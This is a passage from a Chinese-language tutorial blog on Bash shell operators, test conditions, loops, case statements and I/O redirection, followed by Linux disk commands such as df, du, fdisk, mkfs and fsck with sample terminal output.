echo "$a -eq $b: a 不等于 b"
fi
if [ $a -ne $b ]
then
echo "$a -ne $b: a 不等于 b"
else
echo "$a -ne $b : a 等于 b"
fi
if [ $a -gt $b ]
then
echo "$a -gt $b: a 大于 b"
else
echo "$a -gt $b: a 不大于 b"
fi
if [ $a -lt $b ]
then
echo "$a -lt $b: a 小于 b"
else
echo "$a -lt $b: a 不小于 b"
fi
if [ $a -ge $b ]
then
echo "$a -ge $b: a 大于或等于 b"
else
echo "$a -ge $b: a 小于 b"
fi
if [ $a -le $b ]
then
echo "$a -le $b: a 小于或等于 b"
else
echo "$a -le $b: a 大于 b"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
10 -eq 20: a 不等于 b
10 -ne 20: a 不等于 b
10 -gt 20: a 不大于 b
10 -lt 20: a 小于 b
10 -ge 20: a 小于 b
10 -le 20: a 小于或等于 b

布尔运算符

下表列出了常用的布尔运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
!非运算,表达式为 true 则返回 false,否则返回 true。[ ! false ] 返回 true。
-o或运算,有一个表达式为 true 则返回 true。[ $a -lt 20 -o $b -gt 100 ] 返回 true。
-a与运算,两个表达式都为 true 才返回 true。[ $a -lt 20 -a $b -gt 100 ] 返回 false。

布尔运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

a=10
b=20

if [ $a != $b ]
then
echo "$a != $b : a 不等于 b"
else
echo "$a == $b: a 等于 b"
fi
if [ $a -lt 100 -a $b -gt 15 ]
then
echo "$a 小于 100 且 $b 大于 15 : 返回 true"
else
echo "$a 小于 100 且 $b 大于 15 : 返回 false"
fi
if [ $a -lt 100 -o $b -gt 100 ]
then
echo "$a 小于 100 或 $b 大于 100 : 返回 true"
else
echo "$a 小于 100 或 $b 大于 100 : 返回 false"
fi
if [ $a -lt 5 -o $b -gt 100 ]
then
echo "$a 小于 5 或 $b 大于 100 : 返回 true"
else
echo "$a 小于 5 或 $b 大于 100 : 返回 false"
fi

执行脚本,输出结果如下所示:

1
2
3
4
10 != 20 : a 不等于 b
10 小于 100 且 20 大于 15 : 返回 true
10 小于 100 或 20 大于 100 : 返回 true
10 小于 5 或 20 大于 100 : 返回 false

逻辑运算符

以下介绍 Shell 的逻辑运算符,假定变量 a 为 10,变量 b 为 20:

运算符说明举例
&&逻辑的 AND[[ $a -lt 100 && $b -gt 100 ]] 返回 false
||逻辑的 OR`[[ $a -lt 100

逻辑运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

a=10
b=20

if [[ $a -lt 100 && $b -gt 100 ]]
then
echo "返回 true"
else
echo "返回 false"
fi

if [[ $a -lt 100 || $b -gt 100 ]]
then
echo "返回 true"
else
echo "返回 false"
fi

执行脚本,输出结果如下所示:

1
2
返回 false
返回 true

字符串运算符

下表列出了常用的字符串运算符,假定变量 a 为 “abc”,变量 b 为 “efg”:

运算符说明举例
=检测两个字符串是否相等,相等返回 true。[ $a = $b ] 返回 false。
!=检测两个字符串是否相等,不相等返回 true。[ $a != $b ] 返回 true。
-z检测字符串长度是否为0,为0返回 true。[ -z $a ] 返回 false。
-n检测字符串长度是否为0,不为0返回 true。[ -n "$a" ] 返回 true。
$检测字符串是否为空,不为空返回 true。[ $a ] 返回 true。

字符串运算符实例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

a="abc"
b="efg"

if [ $a = $b ]
then
echo "$a = $b : a 等于 b"
else
echo "$a = $b: a 不等于 b"
fi
if [ $a != $b ]
then
echo "$a != $b : a 不等于 b"
else
echo "$a != $b: a 等于 b"
fi
if [ -z $a ]
then
echo "-z $a : 字符串长度为 0"
else
echo "-z $a : 字符串长度不为 0"
fi
if [ -n "$a" ]
then
echo "-n $a : 字符串长度不为 0"
else
echo "-n $a : 字符串长度为 0"
fi
if [ $a ]
then
echo "$a : 字符串不为空"
else
echo "$a : 字符串为空"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
abc = efg: a 不等于 b
abc != efg : a 不等于 b
-z abc : 字符串长度不为 0
-n abc : 字符串长度不为 0
abc : 字符串不为空

文件测试运算符

文件测试运算符用于检测 Unix 文件的各种属性。

属性检测描述如下:

操作符说明举例
-b file检测文件是否是块设备文件,如果是,则返回 true。[ -b $file ] 返回 false。
-c file检测文件是否是字符设备文件,如果是,则返回 true。[ -c $file ] 返回 false。
-d file检测文件是否是目录,如果是,则返回 true。[ -d $file ] 返回 false。
-f file检测文件是否是普通文件(既不是目录,也不是设备文件),如果是,则返回 true。[ -f $file ] 返回 true。
-g file检测文件是否设置了 SGID 位,如果是,则返回 true。[ -g $file ] 返回 false。
-k file检测文件是否设置了粘着位(Sticky Bit),如果是,则返回 true。[ -k $file ] 返回 false。
-p file检测文件是否是有名管道,如果是,则返回 true。[ -p $file ] 返回 false。
-u file检测文件是否设置了 SUID 位,如果是,则返回 true。[ -u $file ] 返回 false。
-r file检测文件是否可读,如果是,则返回 true。[ -r $file ] 返回 true。
-w file检测文件是否可写,如果是,则返回 true。[ -w $file ] 返回 true。
-x file检测文件是否可执行,如果是,则返回 true。[ -x $file ] 返回 true。
-s file检测文件是否为空(文件大小是否大于0),不为空返回 true。[ -s $file ] 返回 true。
-e file检测文件(包括目录)是否存在,如果是,则返回 true。[ -e $file ] 返回 true。

其他检查符:

  • -S: 判断某文件是否 socket。

  • -L: 检测文件是否存在并且是一个符号链接。

变量 file 表示文件 /var/www/runoob/test.sh,它的大小为 100 字节,具有 rwx 权限。下面的代码,将检测该文件的各种属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/bin/bash

file="/var/www/runoob/test.sh"
if [ -r $file ]
then
echo "文件可读"
else
echo "文件不可读"
fi
if [ -w $file ]
then
echo "文件可写"
else
echo "文件不可写"
fi
if [ -x $file ]
then
echo "文件可执行"
else
echo "文件不可执行"
fi
if [ -f $file ]
then
echo "文件为普通文件"
else
echo "文件为特殊文件"
fi
if [ -d $file ]
then
echo "文件是个目录"
else
echo "文件不是个目录"
fi
if [ -s $file ]
then
echo "文件不为空"
else
echo "文件为空"
fi
if [ -e $file ]
then
echo "文件存在"
else
echo "文件不存在"
fi

执行脚本,输出结果如下所示:

1
2
3
4
5
6
7
文件可读
文件可写
文件可执行
文件为普通文件
文件不是个目录
文件不为空
文件存在

test命令

Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。

数值测试

参数说明
-eq等于则为真
-ne不等于则为真
-gt大于则为真
-ge大于等于则为真
-lt小于则为真
-le小于等于则为真

实例演示:

1
2
3
4
5
6
7
8
num1=100
num2=100
if test $[num1] -eq $[num2]
then
echo '两个数相等!'
else
echo '两个数不相等!'
fi

输出结果:

1
两个数相等!

代码中的 [] 执行基本的算数运算,如:

1
2
3
4
5
6
7
#!/bin/bash

a=5
b=6

result=$[a+b] # 注意等号两边不能有空格
echo "result 为: $result"

结果为:

1
result 为: 11

字符串测试

参数说明
=等于则为真
!=不相等则为真
-z 字符串字符串的长度为零则为真
-n 字符串字符串的长度不为零则为真

实例演示:

1
2
3
4
5
6
7
8
num1="ru1noob"
num2="runoob"
if test $num1 = $num2
then
echo '两个字符串相等!'
else
echo '两个字符串不相等!'
fi

输出结果:

1
两个字符串不相等!

文件测试

参数说明
-e 文件名如果文件存在则为真
-r 文件名如果文件存在且可读则为真
-w 文件名如果文件存在且可写则为真
-x 文件名如果文件存在且可执行则为真
-s 文件名如果文件存在且至少有一个字符则为真
-d 文件名如果文件存在且为目录则为真
-f 文件名如果文件存在且为普通文件则为真
-c 文件名如果文件存在且为字符型特殊文件则为真
-b 文件名如果文件存在且为块特殊文件则为真

实例演示:

1
2
3
4
5
6
7
cd /bin
if test -e ./bash
then
echo '文件已存在!'
else
echo '文件不存在!'
fi

输出结果:

1
文件已存在!

另外,Shell还提供了与( -a )、或( -o )、非( ! )三个逻辑操作符用于将测试条件连接起来,其优先级为:“!“最高,”-a"次之,”-o"最低。例如:

1
2
3
4
5
6
7
cd /bin
if test -e ./notFile -o -e ./bash
then
echo '至少有一个文件存在!'
else
echo '两个文件都不存在'
fi

输出结果:

1
至少有一个文件存在!

Shell 流程控制

if else判断语句

if 语句语法格式:

1
2
3
4
5
6
7
if condition
then
command1
command2
...
commandN
fi

写成一行(适用于终端命令提示符):

1
if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi

if else 语法格式:

1
2
3
4
5
6
7
8
9
if condition
then
command1
command2
...
commandN
else
command
fi

if else-if else 语法格式:

1
2
3
4
5
6
7
8
9
if condition1
then
command1
elif condition2
then
command2
else
commandN
fi

以下实例判断两个变量是否相等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a=10
b=20
if [ $a == $b ]
then
echo "a 等于 b"
elif [ $a -gt $b ]
then
echo "a 大于 b"
elif [ $a -lt $b ]
then
echo "a 小于 b"
else
echo "没有符合的条件"
fi

输出结果:

1
a 小于 b

if else语句经常与test命令结合使用,如下所示:

1
2
3
4
5
6
7
8
num1=$[2*3]
num2=$[1+5]
if test $[num1] -eq $[num2]
then
echo '两个数字相等!'
else
echo '两个数字不相等!'
fi

输出结果:

1
两个数字相等!

for循环

for循环一般格式为:

1
2
3
4
5
6
7
for var in item1 item2 ... itemN
do
command1
command2
...
commandN
done

写成一行:

1
for var in item1 item2 ... itemN; do command1; command2… done;

例如,顺序输出当前列表中的数字:

1
2
3
4
for loop in 1 2 3 4 5
do
echo "The value is: $loop"
done

输出结果:

1
2
3
4
5
The value is: 1
The value is: 2
The value is: 3
The value is: 4
The value is: 5

顺序输出字符串中的字符:

1
2
3
4
for str in 'This is a string'
do
echo $str
done

输出结果:

1
This is a string

while循环

while循环格式为:

1
2
3
4
while condition
do
command
done

示例:

1
2
3
4
5
6
7
#!/bin/bash
int=1
while(( $int<=5 ))
do
echo $int
let "int++"
done

运行脚本,输出:

1
2
3
4
5
1
2
3
4
5

while循环可用于读取键盘信息。下面的例子中,输入信息被设置为变量FILM,按Ctrl-D结束循环。

1
2
3
4
5
6
echo '按下 <CTRL-D> 退出'
echo -n '输入你最喜欢的网站名: '
while read FILM
do
echo "是的!$FILM 是一个好网站"
done

运行脚本,输出类似下面:

1
2
3
按下 <CTRL-D> 退出
输入你最喜欢的网站名:淘宝
是的!淘宝 是一个好网站

无限循环

无限循环语法格式:

1
2
3
4
while :
do
command
done

或者

1
2
3
4
while true
do
command
done

或者

1
for (( ; ; ))

until 循环

until 循环执行一系列命令直至条件为 true 时停止。

until 循环与 while 循环在处理方式上刚好相反。

一般 while 循环优于 until 循环,但在某些时候—也只是极少数情况下,until 循环更加有用。

until 语法格式:

1
2
3
4
until condition
do
command
done

condition 一般为条件表达式,如果返回值为 false,则继续执行循环体内的语句,否则跳出循环。

以下实例我们使用 until 命令来输出 0 ~ 9 的数字:

1
2
3
4
5
6
7
8
9
#!/bin/bash

a=0

until [ ! $a -lt 10 ]
do
echo $a
a=`expr $a + 1`
done

运行结果:

输出结果为:

1
2
3
4
5
6
7
8
9
10
0
1
2
3
4
5
6
7
8
9

case

Shell case语句为多选择语句。可以用case语句匹配一个值与一个模式,如果匹配成功,执行相匹配的命令。case语句格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
casein
模式1)
command1
command2
...
commandN
;;
模式2)
command1
command2
...
commandN
;;
esac

下面的脚本提示输入1到4,与每一种模式进行匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
echo '输入 1 到 4 之间的数字:'
echo '你输入的数字为:'
read aNum
case $aNum in
1) echo '你选择了 1'
;;
2) echo '你选择了 2'
;;
3) echo '你选择了 3'
;;
4) echo '你选择了 4'
;;
*) echo '你没有输入 1 到 4 之间的数字'
;;
esac

输入不同的内容,会有不同的结果,例如:

1
2
3
4
输入 1 到 4 之间的数字:
你输入的数字为:
3
你选择了 3

跳出循环

在循环过程中,有时候需要在未达到循环结束条件时强制跳出循环,Shell使用两个命令来实现该功能:break和continue。

break命令允许跳出所有循环(终止执行后面的所有循环)。

下面的例子中,脚本进入死循环直至用户输入数字大于5。要跳出这个循环,返回到shell提示符下,需要使用break命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
while :
do
echo -n "输入 1 到 5 之间的数字:"
read aNum
case $aNum in
1|2|3|4|5) echo "你输入的数字为 $aNum!"
;;
*) echo "你输入的数字不是 1 到 5 之间的! 游戏结束"
break
;;
esac
done

执行以上代码,输出结果为:

1
2
3
4
输入 1 到 5 之间的数字:3
你输入的数字为 3!
输入 1 到 5 之间的数字:7
你输入的数字不是 1 到 5 之间的! 游戏结束

continue命令与break命令类似,只有一点差别,它不会跳出所有循环,仅仅跳出当前循环。

Shell输入/输出重定向

重定向命令列表如下:

命令说明
command > file将输出重定向到 file。
command < file将输入重定向到 file。
command >> file将输出以追加的方式重定向到 file。
n > file将文件描述符为 n 的文件重定向到 file。
n >> file将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m将输出文件 m 和 n 合并。
n <& m将输入文件 m 和 n 合并。
<< tag将开始标记 tag 和结束标记 tag 之间的内容作为输入。

需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。


输出重定向

重定向一般通过在命令间插入特定的符号来实现。特别的,这些符号的语法如下所示:

1
command1 > file1

上面这个命令执行command1然后将输出的内容存入file1。

注意任何file1内的已经存在的内容将被新内容替代。如果要将新内容添加在文件末尾,请使用>>操作符。

输出重定向会覆盖文件内容:

1
2
3
4
$ echo "www.baidu.com" > users
$ cat users
www.baidu.com
$

如果不希望文件内容被覆盖,可以使用 >> 追加到文件末尾,例如:

1
2
3
4
5
$ echo "www.baidu.com" >> users
$ cat users
www.baidu.com
www.baidu.com
$

输入重定向

和输出重定向一样,Unix 命令也可以从文件获取输入,语法为:

1
command1 < file1

这样,本来需要从键盘获取输入的命令会转移到文件读取内容。

注意:输出重定向是大于号(>),输入重定向是小于号(<)。

统计 users 文件的行数,执行以下命令:

1
2
python@ubuntu:~/test$ wc -l test 
4 test

也可以将输入重定向到 users 文件:

1
2
python@ubuntu:~/test$ wc -l <test
4

注意:上面两个例子的结果不同:第一个例子,会输出文件名;第二个不会,因为它仅仅知道从标准输入读取内容。

同时替换输入和输出,执行command1,从文件infile读取内容,然后将输出写入到outfile中:

1
command1 < infile > outfile

重定向深入讲解

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。

  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。

  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

默认情况下,command > file 将 stdout 重定向到 file,command < file 将stdin 重定向到 file。

如果希望 stderr 重定向到 file,可以这样写:

1
$ command 2 > file

如果希望 stderr 追加到 file 文件末尾,可以这样写:

1
$ command 2 >> file

2 表示标准错误文件(stderr)。

如果希望将 stdout 和 stderr 合并后重定向到 file,可以这样写:

1
2
3
$ command > file 2>&1
或者
$ command >> file 2>&1

如果希望对 stdin 和 stdout 都重定向,可以这样写:

1
$ command < file1 >file2

command 命令将 stdin 重定向到 file1,将 stdout 重定向到 file2。

Here Document

Here Document 是 Shell 中的一种特殊的重定向方式,用来将输入重定向到一个交互式 Shell 脚本或程序。

它的基本的形式如下:

1
2
3
command << delimiter
document
delimiter

它的作用是将两个 delimiter 之间的内容(document) 作为输入传递给 command。

注意:结尾的delimiter 一定要顶格写,前面不能有任何字符,后面也不能有任何字符,包括空格和 tab 缩进。

在命令行中通过 wc -l 命令计算 Here Document 的行数:

1
2
3
4
5
6
7
$ wc -l << EOF
欢迎来到
菜鸟教程
www.runoob.com
EOF
3 # 输出结果为 3 行
$

/dev/null 文件

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:

1
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。

如果希望屏蔽 stdout 和 stderr,可以这样写:

1
$ command > /dev/null 2>&1

0 是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。

实例

杨辉三角:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

if (test -z $1) ;then
read -p "Input high Int Lines:" high
else
high=$1
fi
if (test -z $2) ;then
space=4
else
space=$2
fi

printspace(){
#空位填充
for((z=1;z<=$1;z++));do
echo -n " "
done
}

a[0]=1
for((i=0;i<=high;i++));do
#产生当前列数据数组
for ((j=$i;j>0;j--));do
((a[$j]+=a[$j-1]))
done
printspace $((($high-$i)*$space/2))
for ((j=0;j<=$i;j++));do
num=$(($space-${#a[$j]}))
printspace $(($num/2))
echo -n ${a[$j]}
printspace $(($num-$num/2))
done
echo ""
done

sum()&max():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

echo "shell的函数返回值只能为0~255的整数,高位自动丢弃"
sum(){
sum=0
for i in $@
do
if test $i -ne $1;then
echo -n "+"
fi
echo -n "$i"
sum=$(($sum+$i))
done
echo "=$sum"
return $(($sum))
}
sum $@
echo "‘sum()’函数返回值:"$?

max(){
max=0
for i in $@;do
if test $i -ge $max;then
max=$i
fi
done
echo "参数最大值:$max"
return $(($max))
}

max $@

echo "‘max()’函数返回值:"$?

99乘法表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

for i in {1..9};do
for((j=1;j<=i;j++));do
echo -en "$i*$j=$(($i*$j))\t"
done
echo ""
done

for a in {1..9};do
for b in {0..9};do
for c in {0..9};do
number1=$((a*100+b*10+c))
number2=$((a**3+b**3+c**3))
if test $number1 -eq $number2; then
echo "Found number $number1"
fi
done
done
done

本文参考:

Linux 磁盘管理

Linux磁盘管理常用三个命令为df、du和fdisk。

  • df:列出文件系统的整体磁盘使用量

  • du:检查磁盘空间使用量

  • fdisk:用于磁盘分区


df

获取硬盘被占用了多少空间,目前还剩下多少空间等信息。

语法:

1
df [-ahikHTm] [目录或文件名]

选项与参数:

  • -a :列出所有的文件系统,包括系统特有的 /proc 等文件系统;

  • -k :以 KBytes 的容量显示各文件系统;

  • -m :以 MBytes 的容量显示各文件系统;

  • -h :以人们较易阅读的 GBytes, MBytes, KBytes 等格式自行显示;

  • -H :以 M=1000K 取代 M=1024K 的进位方式;

  • -T :显示文件系统类型, 连同该 partition 的 filesystem 名称 (例如 ext3) 也列出;

  • -i :不用硬盘容量,而以 inode 的数量来显示

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]# df -Th
Filesystem Type Size Used Avail Use% Mounted on
devtmpfs devtmpfs 854M 0 854M 0% /dev
tmpfs tmpfs 874M 0 874M 0% /dev/shm
tmpfs tmpfs 874M 8.7M 865M 1% /run
tmpfs tmpfs 874M 0 874M 0% /sys/fs/cgroup
/dev/mapper/rl-root xfs 70G 2.9G 68G 5% /
/dev/sda1 xfs 1014M 199M 816M 20% /boot
/dev/mapper/rl-home xfs 127G 939M 126G 1% /home
tmpfs tmpfs 175M 0 175M 0% /run/user/0

将系统内的所有特殊文件格式及名称都列出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@rocky8:~]# df -aT
Filesystem Type 1K-blocks Used Available Use% Mounted on
sysfs sysfs 0 0 0 - /sys
proc proc 0 0 0 - /proc
devtmpfs devtmpfs 874420 0 874420 0% /dev
securityfs securityfs 0 0 0 - /sys/kernel/security
tmpfs tmpfs 894176 0 894176 0% /dev/shm
devpts devpts 0 0 0 - /dev/pts
tmpfs tmpfs 894176 8896 885280 1% /run
tmpfs tmpfs 894176 0 894176 0% /sys/fs/cgroup
cgroup cgroup 0 0 0 - /sys/fs/cgroup/systemd
pstore pstore 0 0 0 - /sys/fs/pstore
bpf bpf 0 0 0 - /sys/fs/bpf
...................

du

du命令是对文件和目录磁盘使用的空间的查看。du命令用于统计目录或文件所占磁盘空间的大小,该命令的执行结果与df类似,du更侧重于磁盘的使用状况。

语法:

1
du [选项] 文件或目录名称

选项与参数:

  • -a :列出所有的文件与目录容量,因为默认仅统计目录底下的文件量而已。

  • -h :以人们较易读的容量格式 (G/M) 显示;

  • -s :列出总量而已,而不列出每个各别的目录占用容量;

  • -S :不包括子目录下的总计,与 -s 有点差别。

  • -k :以 KBytes 列出容量显示;

  • -m :以 MBytes 列出容量显示;

du直接加文件,可以打印文件的大小

1
2
3
4
[root@rocky8:~]# du 1.txt 
4 1.txt
[root@rocky8:~]# du -h 1.txt
4.0K 1.txt

du没有加任何选项时,只列出当前目录下的所有文件夹容量(包括隐藏文件夹):

1
2
3
4
5
6
7
8
[root@rocky8:~]# du
0 ./test1 <==每个目录都会列出来
0 ./test2
0 ./test3
0 ./.config/procps <==包括隐藏文件的目录
0 ./.config/htop
0 ./.config
44 . <==这个目录(.)所占用的总量

直接输入 du 没有加任何选项时,则 du 会分析当前所在目录的文件与目录所占用的硬盘空间。

-a选项才显示文件的容量:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# du -a
4 ./.bash_logout
4 ./.bash_profile
4 ./.bashrc
4 ./.cshrc
....中间省略....
0 ./.config/htop
0 ./.config
44 .

检查根目录底下每个目录所占用的容量

1
2
3
4
5
6
7
8
9
10
11
[root@rocky8:~]# du -sh /*
0 /bin
159M /boot
0 /dev
25M /etc
.....中间省略....
0 /proc
.....中间省略....
8.0K /tmp
2.1G /usr
253M /var

fdisk

!!! 为保证我的Linux系统的正常使用,从磁盘分割和格式化及其以后的内容,暂未编写博客 !!!

fdisk 是 Linux 的磁盘分区表操作工具。

语法:

1
fdisk [-l] 装置名称

选项与参数:

  • -l :输出后面接的装置所有的分区内容。若仅有 fdisk -l 时, 则系统将会把整个系统内能够搜寻到的装置的分区均列出来。

列出所有分区信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@rocky8:~]# fdisk -l
Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x9d182722

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 2099199 2097152 1G 83 Linux
/dev/sda2 2099200 419430399 417331200 199G 8e Linux LVM


Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/rl-swap: 2 GiB, 2168455168 bytes, 4235264 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Disk /dev/mapper/rl-home: 127 GiB, 136340045824 bytes, 266289152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

查看根目录所在磁盘,并查阅该硬盘内的相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[root@rocky8:~]# df /            <==注意:重点在找出磁盘文件名而已
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/mapper/rl-root 73364480 2995664 70368816 5% /
[root@rocky8:~]# fdisk /dev/mapper/rl-root <==不要加上数字!

Welcome to fdisk (util-linux 2.32.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

The old xfs signature will be removed by a write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xbb210c3d.

Command (m for help): <==等待你的输入!

输入 m 后,就会看到底下这些命令介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Command (m for help): m

Help:

DOS (MBR)
a toggle a bootable flag
b edit nested BSD disklabel
c toggle the dos compatibility flag

Generic
d delete a partition <==删除一个partition
F list free unpartitioned space
l list known partition types
n add a new partition <==新增一个partition
p print the partition table <==在屏幕上显示分割表
t change a partition type
v verify the partition table
i print information about a partition

Misc
m print this menu
u change display/entry units
x extra functionality (experts only)

Script
I load disk layout from sfdisk script file
O dump disk layout to sfdisk script file

Save & Exit
w write table to disk and exit <==将刚刚的动作写入分割表
q quit without saving changes <==不储存离开fdisk程序

Create a new label
g create a new empty GPT partition table
G create a new empty SGI (IRIX) partition table
o create a new empty DOS partition table
s create a new empty Sun partition table

离开 fdisk 时按下 q,那么所有的动作都不会生效!相反的, 按下w就是动作生效的意思。

这个是我的本地虚拟机:

1
2
3
4
5
6
7
8
Command (m for help): p  <== 这里可以输出目前磁盘的状态
Disk /dev/mapper/rl-root: 70 GiB, 75161927680 bytes, 146800640 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xbb210c3d
Command (m for help): q

这个是我的云服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Command (m for help): p

Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 8E31C5C4-D56B-4F46-A42F-54B90BC33E0C

Device Start End Sectors Size Type
/dev/vda1 2048 4095 2048 1M BIOS boot
/dev/vda2 4096 208895 204800 100M EFI System
/dev/vda3 208896 83886046 83677151 39.9G Linux filesystem
Command (m for help): q

这个是本博客转载原文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Command (m for help): p  <== 这里可以输出目前磁盘的状态

Disk /dev/hdc: 41.1 GB, 41174138880 bytes <==这个磁盘的文件名与容量
255 heads, 63 sectors/track, 5005 cylinders <==磁头、扇区与磁柱大小
Units = cylinders of 16065 * 512 = 8225280 bytes <==每个磁柱的大小

Device Boot Start End Blocks Id System
/dev/hdc1 * 1 13 104391 83 Linux
/dev/hdc2 14 1288 10241437+ 83 Linux
/dev/hdc3 1289 1925 5116702+ 83 Linux
/dev/hdc4 1926 5005 24740100 5 Extended
/dev/hdc5 1926 2052 1020096 82 Linux swap / Solaris
# 装置文件名 启动区否 开始磁柱 结束磁柱 1K大小容量 磁盘分区槽内的系统

Command (m for help): q

使用 p 可以列出目前这颗磁盘的分割表信息,这个信息的上半部在显示整体磁盘的状态。

磁盘格式化

磁盘分割完毕后自然就是要进行文件系统的格式化,格式化的命令非常的简单,使用 mkfs(make filesystem) 命令。

语法:

1
mkfs [-t 文件系统格式] 装置文件名

选项与参数:

  • -t :可以接文件系统格式,例如 ext3, ext2, vfat 等(系统有支持才会生效)

查看 mkfs 支持的文件格式:

1
2
3
[root@VM_0_9_centos web]# mkfs[tab]
mkfs mkfs.cramfs mkfs.ext3 mkfs.minix
mkfs.btrfs mkfs.ext2 mkfs.ext4 mkfs.xfs

按下两个[tab],会发现 mkfs 支持的文件格式如上所示。

将分区 /dev/hdc6(可指定其他分区) 格式化为ext3文件系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@www ~]# mkfs -t ext3 /dev/hdc6
mke2fs 1.39 (29-May-2006)
Filesystem label= <==这里指的是分割槽的名称(label)
OS type: Linux
Block size=4096 (log=2) <==block 的大小配置为 4K
Fragment size=4096 (log=2)
251392 inodes, 502023 blocks <==由此配置决定的inode/block数量
25101 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=515899392
16 block groups
32768 blocks per group, 32768 fragments per group
15712 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912

Writing inode tables: done
Creating journal (8192 blocks): done <==有日志记录
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 34 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
# 这样就创建起来我们所需要的 Ext3 文件系统了!简单明了!
1234567891011121314151617181920212223

磁盘检验

fsck(file system check)用来检查和维护不一致的文件系统。

若系统掉电或磁盘发生问题,可利用fsck命令对文件系统进行检查。

语法:

1
fsck [-t 文件系统] [-ACay] 装置名称

选项与参数:

  • -t : 给定档案系统的型式,若在 /etc/fstab 中已有定义或 kernel 本身已支援的则不需加上此参数

  • -s : 依序一个一个地执行 fsck 的指令来检查

  • -A : 对/etc/fstab 中所有列出来的 分区(partition)做检查

  • -C : 显示完整的检查进度

  • -d : 打印出 e2fsck 的 debug 结果

  • -p : 同时有 -A 条件时,同时有多个 fsck 的检查一起执行

  • -R : 同时有 -A 条件时,省略 / 不检查

  • -V : 详细显示模式

  • -a : 如果检查有错则自动修复

  • -r : 如果检查有错则由使用者回答是否修复

  • -y : 选项指定检测每个文件是自动输入yes,在不确定那些是不正常的时候,可以执行 # fsck -y 全部检查修复。

查看系统有多少文件系统支持的 fsck 命令:

1
2
3
[root@www ~]# fsck[tab][tab]
fsck fsck.cramfs fsck.ext2 fsck.ext3 fsck.msdos fsck.vfat
12

强制检测 /dev/hdc6 分区:

1
2
3
4
5
6
7
8
9
10
